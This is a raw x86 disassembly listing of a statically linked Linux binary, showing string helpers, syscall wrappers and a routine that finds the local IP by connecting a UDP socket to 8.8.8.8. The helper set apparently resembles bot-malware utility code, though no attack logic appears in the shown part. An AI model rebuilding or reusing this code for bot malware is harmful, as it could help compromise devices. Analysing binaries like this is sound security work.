804bc1f: 90 nop | |
804bc20: 56 push %esi | |
804bc21: 53 push %ebx | |
804bc22: 8b 44 24 10 mov 0x10(%esp),%eax | |
804bc26: 8b 54 24 0c mov 0xc(%esp),%edx | |
804bc2a: 80 38 00 cmpb $0x0,(%eax) | |
804bc2d: 74 25 je 0x804bc54 | |
804bc2f: 31 f6 xor %esi,%esi | |
804bc31: 46 inc %esi | |
804bc32: 80 3c 06 00 cmpb $0x0,(%esi,%eax,1) | |
804bc36: 75 f9 jne 0x804bc31 | |
804bc38: 83 fe ff cmp $0xffffffff,%esi | |
804bc3b: 74 12 je 0x804bc4f | |
804bc3d: 89 d3 mov %edx,%ebx | |
804bc3f: 89 c1 mov %eax,%ecx | |
804bc41: 89 f2 mov %esi,%edx | |
804bc43: 8a 01 mov (%ecx),%al | |
804bc45: 4a dec %edx | |
804bc46: 88 03 mov %al,(%ebx) | |
804bc48: 41 inc %ecx | |
804bc49: 43 inc %ebx | |
804bc4a: 83 fa ff cmp $0xffffffff,%edx | |
804bc4d: 75 f4 jne 0x804bc43 | |
804bc4f: 89 f0 mov %esi,%eax | |
804bc51: 5b pop %ebx | |
804bc52: 5e pop %esi | |
804bc53: c3 ret | |
804bc54: 89 d3 mov %edx,%ebx | |
804bc56: 89 c1 mov %eax,%ecx | |
804bc58: 31 d2 xor %edx,%edx | |
804bc5a: 31 f6 xor %esi,%esi | |
804bc5c: eb e5 jmp 0x804bc43 | |
804bc5e: 90 nop | |
804bc5f: 90 nop | |
804bc60: 56 push %esi | |
804bc61: 53 push %ebx | |
804bc62: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804bc66: 8b 74 24 0c mov 0xc(%esp),%esi | |
804bc6a: 8b 5c 24 10 mov 0x10(%esp),%ebx | |
804bc6e: 85 c9 test %ecx,%ecx | |
804bc70: 74 0d je 0x804bc7f | |
804bc72: 31 d2 xor %edx,%edx | |
804bc74: 8a 04 1a mov (%edx,%ebx,1),%al | |
804bc77: 88 04 32 mov %al,(%edx,%esi,1) | |
804bc7a: 42 inc %edx | |
804bc7b: 39 ca cmp %ecx,%edx | |
804bc7d: 75 f5 jne 0x804bc74 | |
804bc7f: 5b pop %ebx | |
804bc80: 5e pop %esi | |
804bc81: c3 ret | |
804bc82: 90 nop | |
804bc83: 90 nop | |
804bc84: 90 nop | |
804bc85: 90 nop | |
804bc86: 90 nop | |
804bc87: 90 nop | |
804bc88: 90 nop | |
804bc89: 90 nop | |
804bc8a: 90 nop | |
804bc8b: 90 nop | |
804bc8c: 90 nop | |
804bc8d: 90 nop | |
804bc8e: 90 nop | |
804bc8f: 90 nop | |
804bc90: 8b 54 24 08 mov 0x8(%esp),%edx | |
804bc94: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
804bc98: 85 d2 test %edx,%edx | |
804bc9a: 74 0d je 0x804bca9 | |
804bc9c: 31 c0 xor %eax,%eax | |
804bc9e: 89 f6 mov %esi,%esi | |
804bca0: c6 04 08 00 movb $0x0,(%eax,%ecx,1) | |
804bca4: 40 inc %eax | |
804bca5: 39 d0 cmp %edx,%eax | |
804bca7: 75 f7 jne 0x804bca0 | |
804bca9: c3 ret | |
804bcaa: 90 nop | |
804bcab: 90 nop | |
804bcac: 90 nop | |
804bcad: 90 nop | |
804bcae: 90 nop | |
804bcaf: 90 nop | |
804bcb0: 55 push %ebp | |
804bcb1: 57 push %edi | |
804bcb2: 56 push %esi | |
804bcb3: 53 push %ebx | |
804bcb4: 83 ec 10 sub $0x10,%esp | |
804bcb7: 8b 74 24 24 mov 0x24(%esp),%esi | |
804bcbb: 90 nop | |
804bcbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804bcc0: 8a 0e mov (%esi),%cl | |
804bcc2: 46 inc %esi | |
804bcc3: 0f be d9 movsbl %cl,%ebx | |
804bcc6: 0f be c3 movsbl %bl,%eax | |
804bcc9: 89 04 24 mov %eax,(%esp) | |
804bccc: 3c 20 cmp $0x20,%al | |
804bcce: 74 f0 je 0x804bcc0 | |
804bcd0: 3c 09 cmp $0x9,%al | |
804bcd2: 74 ec je 0x804bcc0 | |
804bcd4: 3c 0a cmp $0xa,%al | |
804bcd6: 74 e8 je 0x804bcc0 | |
804bcd8: 80 f9 2d cmp $0x2d,%cl | |
804bcdb: 0f 84 ac 00 00 00 je 0x804bd8d | |
804bce1: 80 f9 2b cmp $0x2b,%cl | |
804bce4: 0f 84 d3 00 00 00 je 0x804bdbd | |
804bcea: b9 ff ff ff 7f mov $0x7fffffff,%ecx | |
804bcef: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) | |
804bcf6: 00 | |
804bcf7: 89 c8 mov %ecx,%eax | |
804bcf9: 31 d2 xor %edx,%edx | |
804bcfb: f7 74 24 28 divl 0x28(%esp) | |
804bcff: 31 ed xor %ebp,%ebp | |
804bd01: 31 ff xor %edi,%edi | |
804bd03: 89 54 24 08 mov %edx,0x8(%esp) | |
804bd07: 89 44 24 04 mov %eax,0x4(%esp) | |
804bd0b: eb 31 jmp 0x804bd3e | |
804bd0d: 8d 76 00 lea 0x0(%esi),%esi | |
804bd10: 8d 53 d0 lea -0x30(%ebx),%edx | |
804bd13: 3b 54 24 28 cmp 0x28(%esp),%edx | |
804bd17: 7d 51 jge 0x804bd6a | |
804bd19: 85 ff test %edi,%edi | |
804bd1b: 78 6b js 0x804bd88 | |
804bd1d: 3b 6c 24 04 cmp 0x4(%esp),%ebp | |
804bd21: 77 65 ja 0x804bd88 | |
804bd23: 74 5d je 0x804bd82 | |
804bd25: 8b 44 24 28 mov 0x28(%esp),%eax | |
804bd29: bf 01 00 00 00 mov $0x1,%edi | |
804bd2e: 0f af c5 imul %ebp,%eax | |
804bd31: 8d 2c 10 lea (%eax,%edx,1),%ebp | |
804bd34: 0f be 1e movsbl (%esi),%ebx | |
804bd37: 0f be c3 movsbl %bl,%eax | |
804bd3a: 46 inc %esi | |
804bd3b: 89 04 24 mov %eax,(%esp) | |
804bd3e: 8a 14 24 mov (%esp),%dl | |
804bd41: 8d 42 d0 lea -0x30(%edx),%eax | |
804bd44: 3c 09 cmp $0x9,%al | |
804bd46: 76 c8 jbe 0x804bd10 | |
804bd48: 8d 42 bf lea -0x41(%edx),%eax | |
804bd4b: b9 37 00 00 00 mov $0x37,%ecx | |
804bd50: 3c 19 cmp $0x19,%al | |
804bd52: 76 0c jbe 0x804bd60 | |
804bd54: 8d 42 9f lea -0x61(%edx),%eax | |
804bd57: 3c 19 cmp $0x19,%al | |
804bd59: 77 0f ja 0x804bd6a | |
804bd5b: b1 57 mov $0x57,%cl | |
804bd5d: 8d 76 00 lea 0x0(%esi),%esi | |
804bd60: 89 da mov %ebx,%edx | |
804bd62: 29 ca sub %ecx,%edx | |
804bd64: 3b 54 24 28 cmp 0x28(%esp),%edx | |
804bd68: 7c af jl 0x804bd19 | |
804bd6a: 85 ff test %edi,%edi | |
804bd6c: 78 3b js 0x804bda9 | |
804bd6e: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804bd72: 89 e8 mov %ebp,%eax | |
804bd74: 85 c9 test %ecx,%ecx | |
804bd76: 74 02 je 0x804bd7a | |
804bd78: f7 d8 neg %eax | |
804bd7a: 83 c4 10 add $0x10,%esp | |
804bd7d: 5b pop %ebx | |
804bd7e: 5e pop %esi | |
804bd7f: 5f pop %edi | |
804bd80: 5d pop %ebp | |
804bd81: c3 ret | |
804bd82: 3b 54 24 08 cmp 0x8(%esp),%edx | |
804bd86: 7e 9d jle 0x804bd25 | |
804bd88: 83 cf ff or $0xffffffff,%edi | |
804bd8b: eb a7 jmp 0x804bd34 | |
804bd8d: 0f be 1e movsbl (%esi),%ebx | |
804bd90: b9 00 00 00 80 mov $0x80000000,%ecx | |
804bd95: 46 inc %esi | |
804bd96: 0f be d3 movsbl %bl,%edx | |
804bd99: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) | |
804bda0: 00 | |
804bda1: 89 14 24 mov %edx,(%esp) | |
804bda4: e9 4e ff ff ff jmp 0x804bcf7 | |
804bda9: 83 7c 24 0c 01 cmpl $0x1,0xc(%esp) | |
804bdae: 19 c0 sbb %eax,%eax | |
804bdb0: 83 c4 10 add $0x10,%esp | |
804bdb3: 2d 00 00 00 80 sub $0x80000000,%eax | |
804bdb8: 5b pop %ebx | |
804bdb9: 5e pop %esi | |
804bdba: 5f pop %edi | |
804bdbb: 5d pop %ebp | |
804bdbc: c3 ret | |
804bdbd: 0f be 1e movsbl (%esi),%ebx | |
804bdc0: 46 inc %esi | |
804bdc1: 0f be c3 movsbl %bl,%eax | |
804bdc4: 89 04 24 mov %eax,(%esp) | |
804bdc7: e9 1e ff ff ff jmp 0x804bcea | |
804bdcc: 90 nop | |
804bdcd: 90 nop | |
804bdce: 90 nop | |
804bdcf: 90 nop | |
804bdd0: 55 push %ebp | |
804bdd1: 57 push %edi | |
804bdd2: 56 push %esi | |
804bdd3: 53 push %ebx | |
804bdd4: 83 ec 0c sub $0xc,%esp | |
804bdd7: 31 db xor %ebx,%ebx | |
804bdd9: 8b 74 24 20 mov 0x20(%esp),%esi | |
804bddd: 8b 6c 24 24 mov 0x24(%esp),%ebp | |
804bde1: 8b 7c 24 28 mov 0x28(%esp),%edi | |
804bde5: 50 push %eax | |
804bde6: 8d 04 1e lea (%esi,%ebx,1),%eax | |
804bde9: 6a 01 push $0x1 | |
804bdeb: 50 push %eax | |
804bdec: 57 push %edi | |
804bded: e8 7c 04 00 00 call 0x804c26e | |
804bdf2: 83 c4 10 add $0x10,%esp | |
804bdf5: 48 dec %eax | |
804bdf6: 75 0c jne 0x804be04 | |
804bdf8: 43 inc %ebx | |
804bdf9: 39 dd cmp %ebx,%ebp | |
804bdfb: 7e 07 jle 0x804be04 | |
804bdfd: 80 7c 33 ff 0a cmpb $0xa,-0x1(%ebx,%esi,1) | |
804be02: 75 e1 jne 0x804bde5 | |
804be04: 85 db test %ebx,%ebx | |
804be06: 0f 95 c0 setne %al | |
804be09: 25 ff 00 00 00 and $0xff,%eax | |
804be0e: 83 c4 0c add $0xc,%esp | |
804be11: f7 d8 neg %eax | |
804be13: 21 c6 and %eax,%esi | |
804be15: 5b pop %ebx | |
804be16: 89 f0 mov %esi,%eax | |
804be18: 5e pop %esi | |
804be19: 5f pop %edi | |
804be1a: 5d pop %ebp | |
804be1b: c3 ret | |
804be1c: 90 nop | |
804be1d: 90 nop | |
804be1e: 90 nop | |
804be1f: 90 nop | |
804be20: 56 push %esi | |
804be21: 53 push %ebx | |
804be22: 83 ec 24 sub $0x24,%esp | |
804be25: c7 44 24 20 10 00 00 movl $0x10,0x20(%esp) | |
804be2c: 00 | |
804be2d: e8 84 07 00 00 call 0x804c5b6 | |
804be32: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804be38: 50 push %eax | |
804be39: 6a 00 push $0x0 | |
804be3b: 6a 02 push $0x2 | |
804be3d: 6a 02 push $0x2 | |
804be3f: e8 db 09 00 00 call 0x804c81f | |
804be44: 89 c6 mov %eax,%esi | |
804be46: 83 c4 10 add $0x10,%esp | |
804be49: 31 c0 xor %eax,%eax | |
804be4b: 83 fe ff cmp $0xffffffff,%esi | |
804be4e: 74 42 je 0x804be92 | |
804be50: 8d 5c 24 10 lea 0x10(%esp),%ebx | |
804be54: 66 c7 44 24 10 02 00 movw $0x2,0x10(%esp) | |
804be5b: c7 44 24 14 08 08 08 movl $0x8080808,0x14(%esp) | |
804be62: 08 | |
804be63: 66 c7 44 24 12 00 35 movw $0x3500,0x12(%esp) | |
804be6a: 50 push %eax | |
804be6b: 6a 10 push $0x10 | |
804be6d: 53 push %ebx | |
804be6e: 56 push %esi | |
804be6f: e8 13 08 00 00 call 0x804c687 | |
804be74: 83 c4 0c add $0xc,%esp | |
804be77: 8d 44 24 24 lea 0x24(%esp),%eax | |
804be7b: 50 push %eax | |
804be7c: 53 push %ebx | |
804be7d: 56 push %esi | |
804be7e: e8 2f 08 00 00 call 0x804c6b2 | |
804be83: 89 34 24 mov %esi,(%esp) | |
804be86: e8 48 02 00 00 call 0x804c0d3 | |
804be8b: 8b 44 24 24 mov 0x24(%esp),%eax | |
804be8f: 83 c4 10 add $0x10,%esp | |
804be92: 83 c4 24 add $0x24,%esp | |
804be95: 5b pop %ebx | |
804be96: 5e pop %esi | |
804be97: c3 ret | |
804be98: 90 nop | |
804be99: 90 nop | |
804be9a: 90 nop | |
804be9b: 90 nop | |
804be9c: 90 nop | |
804be9d: 90 nop | |
804be9e: 90 nop | |
804be9f: 90 nop | |
804bea0: 55 push %ebp | |
804bea1: 57 push %edi | |
804bea2: 56 push %esi | |
804bea3: 53 push %ebx | |
804bea4: 83 ec 04 sub $0x4,%esp | |
804bea7: 8b 6c 24 20 mov 0x20(%esp),%ebp | |
804beab: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
804beb2: 80 7d 00 00 cmpb $0x0,0x0(%ebp) | |
804beb6: 74 10 je 0x804bec8 | |
804beb8: 8b 1c 24 mov (%esp),%ebx | |
804bebb: 43 inc %ebx | |
804bebc: 89 1c 24 mov %ebx,(%esp) | |
804bebf: 8b 04 24 mov (%esp),%eax | |
804bec2: 80 3c 28 00 cmpb $0x0,(%eax,%ebp,1) | |
804bec6: 75 f0 jne 0x804beb8 | |
804bec8: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
804becc: 31 ff xor %edi,%edi | |
804bece: 8b 74 24 18 mov 0x18(%esp),%esi | |
804bed2: 85 db test %ebx,%ebx | |
804bed4: 7e 26 jle 0x804befc | |
804bed6: 8a 0e mov (%esi),%cl | |
804bed8: 8a 54 3d 00 mov 0x0(%ebp,%edi,1),%dl | |
804bedc: 46 inc %esi | |
804bedd: 8d 41 bf lea -0x41(%ecx),%eax | |
804bee0: 3c 19 cmp $0x19,%al | |
804bee2: 77 03 ja 0x804bee7 | |
804bee4: 83 c9 60 or $0x60,%ecx | |
804bee7: 8d 42 bf lea -0x41(%edx),%eax | |
804beea: 3c 19 cmp $0x19,%al | |
804beec: 77 03 ja 0x804bef1 | |
804beee: 83 ca 60 or $0x60,%edx | |
804bef1: 38 d1 cmp %dl,%cl | |
804bef3: 74 10 je 0x804bf05 | |
804bef5: 31 ff xor %edi,%edi | |
804bef7: 4b dec %ebx | |
804bef8: 85 db test %ebx,%ebx | |
804befa: 7f da jg 0x804bed6 | |
804befc: 83 c8 ff or $0xffffffff,%eax | |
804beff: 5a pop %edx | |
804bf00: 5b pop %ebx | |
804bf01: 5e pop %esi | |
804bf02: 5f pop %edi | |
804bf03: 5d pop %ebp | |
804bf04: c3 ret | |
804bf05: 47 inc %edi | |
804bf06: 39 3c 24 cmp %edi,(%esp) | |
804bf09: 75 ec jne 0x804bef7 | |
804bf0b: 89 f0 mov %esi,%eax | |
804bf0d: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
804bf11: 29 c8 sub %ecx,%eax | |
804bf13: 5a pop %edx | |
804bf14: 5b pop %ebx | |
804bf15: 5e pop %esi | |
804bf16: 5f pop %edi | |
804bf17: 5d pop %ebp | |
804bf18: c3 ret | |
804bf19: 90 nop | |
804bf1a: 90 nop | |
804bf1b: 90 nop | |
804bf1c: 90 nop | |
804bf1d: 90 nop | |
804bf1e: 90 nop | |
804bf1f: 90 nop | |
804bf20: 56 push %esi | |
804bf21: 53 push %ebx | |
804bf22: 8b 5c 24 0c mov 0xc(%esp),%ebx | |
804bf26: 31 f6 xor %esi,%esi | |
804bf28: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
804bf2c: 80 3b 00 cmpb $0x0,(%ebx) | |
804bf2f: 74 07 je 0x804bf38 | |
804bf31: 46 inc %esi | |
804bf32: 80 3c 1e 00 cmpb $0x0,(%esi,%ebx,1) | |
804bf36: 75 f9 jne 0x804bf31 | |
804bf38: 31 c0 xor %eax,%eax | |
804bf3a: 80 39 00 cmpb $0x0,(%ecx) | |
804bf3d: 74 08 je 0x804bf47 | |
804bf3f: 90 nop | |
804bf40: 40 inc %eax | |
804bf41: 80 3c 08 00 cmpb $0x0,(%eax,%ecx,1) | |
804bf45: 75 f9 jne 0x804bf40 | |
804bf47: 89 c2 mov %eax,%edx | |
804bf49: 39 c6 cmp %eax,%esi | |
804bf4b: 74 07 je 0x804bf54 | |
804bf4d: 31 c0 xor %eax,%eax | |
804bf4f: 5b pop %ebx | |
804bf50: 5e pop %esi | |
804bf51: c3 ret | |
804bf52: 43 inc %ebx | |
804bf53: 41 inc %ecx | |
804bf54: 4a dec %edx | |
804bf55: 83 fa ff cmp $0xffffffff,%edx | |
804bf58: 74 08 je 0x804bf62 | |
804bf5a: 8a 03 mov (%ebx),%al | |
804bf5c: 3a 01 cmp (%ecx),%al | |
804bf5e: 74 f2 je 0x804bf52 | |
804bf60: eb eb jmp 0x804bf4d | |
804bf62: b8 01 00 00 00 mov $0x1,%eax | |
804bf67: 5b pop %ebx | |
804bf68: 5e pop %esi | |
804bf69: c3 ret | |
804bf6a: 90 nop | |
804bf6b: 90 nop | |
804bf6c: 90 nop | |
804bf6d: 90 nop | |
804bf6e: 90 nop | |
804bf6f: 90 nop | |
804bf70: 55 push %ebp | |
804bf71: 57 push %edi | |
804bf72: 56 push %esi | |
804bf73: 53 push %ebx | |
804bf74: 83 ec 30 sub $0x30,%esp | |
804bf77: 8b 7c 24 4c mov 0x4c(%esp),%edi | |
804bf7b: 8b 44 24 44 mov 0x44(%esp),%eax | |
804bf7f: 8b 74 24 48 mov 0x48(%esp),%esi | |
804bf83: 85 ff test %edi,%edi | |
804bf85: 74 69 je 0x804bff0 | |
804bf87: 85 c0 test %eax,%eax | |
804bf89: 74 75 je 0x804c000 | |
804bf8b: c6 44 24 2f 00 movb $0x0,0x2f(%esp) | |
804bf90: 83 fe 0a cmp $0xa,%esi | |
804bf93: 0f 84 84 00 00 00 je 0x804c01d | |
804bf99: 89 c1 mov %eax,%ecx | |
804bf9b: 31 ed xor %ebp,%ebp | |
804bf9d: bb 20 00 00 00 mov $0x20,%ebx | |
804bfa2: 31 d2 xor %edx,%edx | |
804bfa4: 89 c8 mov %ecx,%eax | |
804bfa6: f7 f6 div %esi | |
804bfa8: 83 fa 09 cmp $0x9,%edx | |
804bfab: 8d 42 30 lea 0x30(%edx),%eax | |
804bfae: 7e 03 jle 0x804bfb3 | |
804bfb0: 8d 42 37 lea 0x37(%edx),%eax | |
804bfb3: 88 44 1c 0e mov %al,0xe(%esp,%ebx,1) | |
804bfb7: 31 d2 xor %edx,%edx | |
804bfb9: 89 c8 mov %ecx,%eax | |
804bfbb: 4b dec %ebx | |
804bfbc: f7 f6 div %esi | |
804bfbe: 89 c1 mov %eax,%ecx | |
804bfc0: 85 c0 test %eax,%eax | |
804bfc2: 75 de jne 0x804bfa2 | |
804bfc4: 85 ed test %ebp,%ebp | |
804bfc6: 75 4e jne 0x804c016 | |
804bfc8: 43 inc %ebx | |
804bfc9: 8d 44 1c 0e lea 0xe(%esp,%ebx,1),%eax | |
804bfcd: 80 38 00 cmpb $0x0,(%eax) | |
804bfd0: 74 63 je 0x804c035 | |
804bfd2: 31 c9 xor %ecx,%ecx | |
804bfd4: 41 inc %ecx | |
804bfd5: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1) | |
804bfd9: 75 f9 jne 0x804bfd4 | |
804bfdb: 83 f9 ff cmp $0xffffffff,%ecx | |
804bfde: 74 10 je 0x804bff0 | |
804bfe0: 89 fb mov %edi,%ebx | |
804bfe2: 89 c2 mov %eax,%edx | |
804bfe4: 8a 02 mov (%edx),%al | |
804bfe6: 49 dec %ecx | |
804bfe7: 88 03 mov %al,(%ebx) | |
804bfe9: 42 inc %edx | |
804bfea: 43 inc %ebx | |
804bfeb: 83 f9 ff cmp $0xffffffff,%ecx | |
804bfee: 75 f4 jne 0x804bfe4 | |
804bff0: 83 c4 30 add $0x30,%esp | |
804bff3: 89 f8 mov %edi,%eax | |
804bff5: 5b pop %ebx | |
804bff6: 5e pop %esi | |
804bff7: 5f pop %edi | |
804bff8: 5d pop %ebp | |
804bff9: c3 ret | |
804bffa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
804c000: c6 07 30 movb $0x30,(%edi) | |
804c003: c6 47 01 00 movb $0x0,0x1(%edi) | |
804c007: 89 f8 mov %edi,%eax | |
804c009: 83 c4 30 add $0x30,%esp | |
804c00c: 5b pop %ebx | |
804c00d: 5e pop %esi | |
804c00e: 5f pop %edi | |
804c00f: 5d pop %ebp | |
804c010: c3 ret | |
804c011: bb 20 00 00 00 mov $0x20,%ebx | |
804c016: c6 44 1c 0e 2d movb $0x2d,0xe(%esp,%ebx,1) | |
804c01b: eb ac jmp 0x804bfc9 | |
804c01d: 85 c0 test %eax,%eax | |
804c01f: 0f 89 74 ff ff ff jns 0x804bf99 | |
804c025: 89 c1 mov %eax,%ecx | |
804c027: f7 d9 neg %ecx | |
804c029: 74 e6 je 0x804c011 | |
804c02b: bd 01 00 00 00 mov $0x1,%ebp | |
804c030: e9 68 ff ff ff jmp 0x804bf9d | |
804c035: 89 fb mov %edi,%ebx | |
804c037: 89 c2 mov %eax,%edx | |
804c039: 31 c9 xor %ecx,%ecx | |
804c03b: eb a7 jmp 0x804bfe4 | |
804c03d: 57 push %edi | |
804c03e: 53 push %ebx | |
804c03f: 83 ec 14 sub $0x14,%esp | |
804c042: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c046: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c04a: 89 44 24 10 mov %eax,0x10(%esp) | |
804c04e: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c052: 8d 41 f4 lea -0xc(%ecx),%eax | |
804c055: 8b 54 24 28 mov 0x28(%esp),%edx | |
804c059: 83 f8 02 cmp $0x2,%eax | |
804c05c: 77 0e ja 0x804c06c | |
804c05e: 50 push %eax | |
804c05f: 52 push %edx | |
804c060: 51 push %ecx | |
804c061: 57 push %edi | |
804c062: e8 2d 00 00 00 call 0x804c094 | |
804c067: 83 c4 10 add $0x10,%esp | |
804c06a: eb 22 jmp 0x804c08e | |
804c06c: 53 push %ebx | |
804c06d: 89 fb mov %edi,%ebx | |
804c06f: b8 37 00 00 00 mov $0x37,%eax | |
804c074: cd 80 int $0x80 | |
804c076: 5b pop %ebx | |
804c077: 89 c3 mov %eax,%ebx | |
804c079: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c07e: 76 0c jbe 0x804c08c | |
804c080: e8 31 05 00 00 call 0x804c5b6 | |
804c085: f7 db neg %ebx | |
804c087: 89 18 mov %ebx,(%eax) | |
804c089: 83 cb ff or $0xffffffff,%ebx | |
804c08c: 89 d8 mov %ebx,%eax | |
804c08e: 83 c4 14 add $0x14,%esp | |
804c091: 5b pop %ebx | |
804c092: 5f pop %edi | |
804c093: c3 ret | |
804c094: 57 push %edi | |
804c095: 83 ec 18 sub $0x18,%esp | |
804c098: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c09c: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c0a0: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c0a4: 89 44 24 14 mov %eax,0x14(%esp) | |
804c0a8: 8b 54 24 28 mov 0x28(%esp),%edx | |
804c0ac: 53 push %ebx | |
804c0ad: 89 fb mov %edi,%ebx | |
804c0af: b8 dd 00 00 00 mov $0xdd,%eax | |
804c0b4: cd 80 int $0x80 | |
804c0b6: 5b pop %ebx | |
804c0b7: 89 c7 mov %eax,%edi | |
804c0b9: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c0be: 76 0c jbe 0x804c0cc | |
804c0c0: e8 f1 04 00 00 call 0x804c5b6 | |
804c0c5: f7 df neg %edi | |
804c0c7: 89 38 mov %edi,(%eax) | |
804c0c9: 83 cf ff or $0xffffffff,%edi | |
804c0cc: 89 f8 mov %edi,%eax | |
804c0ce: 83 c4 18 add $0x18,%esp | |
804c0d1: 5f pop %edi | |
804c0d2: c3 ret | |
804c0d3: 57 push %edi | |
804c0d4: 83 ec 08 sub $0x8,%esp | |
804c0d7: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c0db: 53 push %ebx | |
804c0dc: 89 fb mov %edi,%ebx | |
804c0de: b8 06 00 00 00 mov $0x6,%eax | |
804c0e3: cd 80 int $0x80 | |
804c0e5: 5b pop %ebx | |
804c0e6: 89 c7 mov %eax,%edi | |
804c0e8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c0ed: 76 0c jbe 0x804c0fb | |
804c0ef: e8 c2 04 00 00 call 0x804c5b6 | |
804c0f4: f7 df neg %edi | |
804c0f6: 89 38 mov %edi,(%eax) | |
804c0f8: 83 cf ff or $0xffffffff,%edi | |
804c0fb: 89 f8 mov %edi,%eax | |
804c0fd: 5a pop %edx | |
804c0fe: 59 pop %ecx | |
804c0ff: 5f pop %edi | |
804c100: c3 ret | |
804c101: 53 push %ebx | |
804c102: 83 ec 08 sub $0x8,%esp | |
804c105: b8 02 00 00 00 mov $0x2,%eax | |
804c10a: cd 80 int $0x80 | |
804c10c: 89 c3 mov %eax,%ebx | |
804c10e: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c113: 76 0c jbe 0x804c121 | |
804c115: e8 9c 04 00 00 call 0x804c5b6 | |
804c11a: f7 db neg %ebx | |
804c11c: 89 18 mov %ebx,(%eax) | |
804c11e: 83 cb ff or $0xffffffff,%ebx | |
804c121: 89 d8 mov %ebx,%eax | |
804c123: 5a pop %edx | |
804c124: 59 pop %ecx | |
804c125: 5b pop %ebx | |
804c126: c3 ret | |
804c127: 53 push %ebx | |
804c128: 83 ec 08 sub $0x8,%esp | |
804c12b: b8 14 00 00 00 mov $0x14,%eax | |
804c130: cd 80 int $0x80 | |
804c132: 89 c3 mov %eax,%ebx | |
804c134: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c139: 76 0c jbe 0x804c147 | |
804c13b: e8 76 04 00 00 call 0x804c5b6 | |
804c140: f7 db neg %ebx | |
804c142: 89 18 mov %ebx,(%eax) | |
804c144: 83 cb ff or $0xffffffff,%ebx | |
804c147: 89 d8 mov %ebx,%eax | |
804c149: 5a pop %edx | |
804c14a: 59 pop %ecx | |
804c14b: 5b pop %ebx | |
804c14c: c3 ret | |
804c14d: 53 push %ebx | |
804c14e: 83 ec 08 sub $0x8,%esp | |
804c151: b8 40 00 00 00 mov $0x40,%eax | |
804c156: cd 80 int $0x80 | |
804c158: 89 c3 mov %eax,%ebx | |
804c15a: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c15f: 76 0c jbe 0x804c16d | |
804c161: e8 50 04 00 00 call 0x804c5b6 | |
804c166: f7 db neg %ebx | |
804c168: 89 18 mov %ebx,(%eax) | |
804c16a: 83 cb ff or $0xffffffff,%ebx | |
804c16d: 89 d8 mov %ebx,%eax | |
804c16f: 5a pop %edx | |
804c170: 59 pop %ecx | |
804c171: 5b pop %ebx | |
804c172: c3 ret | |
804c173: 57 push %edi | |
804c174: 83 ec 18 sub $0x18,%esp | |
804c177: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c17b: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c17f: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c183: 89 44 24 14 mov %eax,0x14(%esp) | |
804c187: 8b 54 24 28 mov 0x28(%esp),%edx | |
804c18b: 53 push %ebx | |
804c18c: 89 fb mov %edi,%ebx | |
804c18e: b8 36 00 00 00 mov $0x36,%eax | |
804c193: cd 80 int $0x80 | |
804c195: 5b pop %ebx | |
804c196: 89 c7 mov %eax,%edi | |
804c198: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c19d: 76 0c jbe 0x804c1ab | |
804c19f: e8 12 04 00 00 call 0x804c5b6 | |
804c1a4: f7 df neg %edi | |
804c1a6: 89 38 mov %edi,(%eax) | |
804c1a8: 83 cf ff or $0xffffffff,%edi | |
804c1ab: 89 f8 mov %edi,%eax | |
804c1ad: 83 c4 18 add $0x18,%esp | |
804c1b0: 5f pop %edi | |
804c1b1: c3 ret | |
804c1b2: 53 push %ebx | |
804c1b3: 83 ec 08 sub $0x8,%esp | |
804c1b6: 8b 54 24 10 mov 0x10(%esp),%edx | |
804c1ba: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c1be: 87 d3 xchg %edx,%ebx | |
804c1c0: b8 25 00 00 00 mov $0x25,%eax | |
804c1c5: cd 80 int $0x80 | |
804c1c7: 87 d3 xchg %edx,%ebx | |
804c1c9: 89 c3 mov %eax,%ebx | |
804c1cb: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c1d0: 76 0c jbe 0x804c1de | |
804c1d2: e8 df 03 00 00 call 0x804c5b6 | |
804c1d7: f7 db neg %ebx | |
804c1d9: 89 18 mov %ebx,(%eax) | |
804c1db: 83 cb ff or $0xffffffff,%ebx | |
804c1de: 89 d8 mov %ebx,%eax | |
804c1e0: 5a pop %edx | |
804c1e1: 59 pop %ecx | |
804c1e2: 5b pop %ebx | |
804c1e3: c3 ret | |
804c1e4: 57 push %edi | |
804c1e5: 53 push %ebx | |
804c1e6: 83 ec 14 sub $0x14,%esp | |
804c1e9: 31 c0 xor %eax,%eax | |
804c1eb: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804c1ef: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c1f3: f6 c1 40 test $0x40,%cl | |
804c1f6: 74 0c je 0x804c204 | |
804c1f8: 8d 44 24 2c lea 0x2c(%esp),%eax | |
804c1fc: 89 44 24 10 mov %eax,0x10(%esp) | |
804c200: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c204: 0f b7 d0 movzwl %ax,%edx | |
804c207: 53 push %ebx | |
804c208: 89 fb mov %edi,%ebx | |
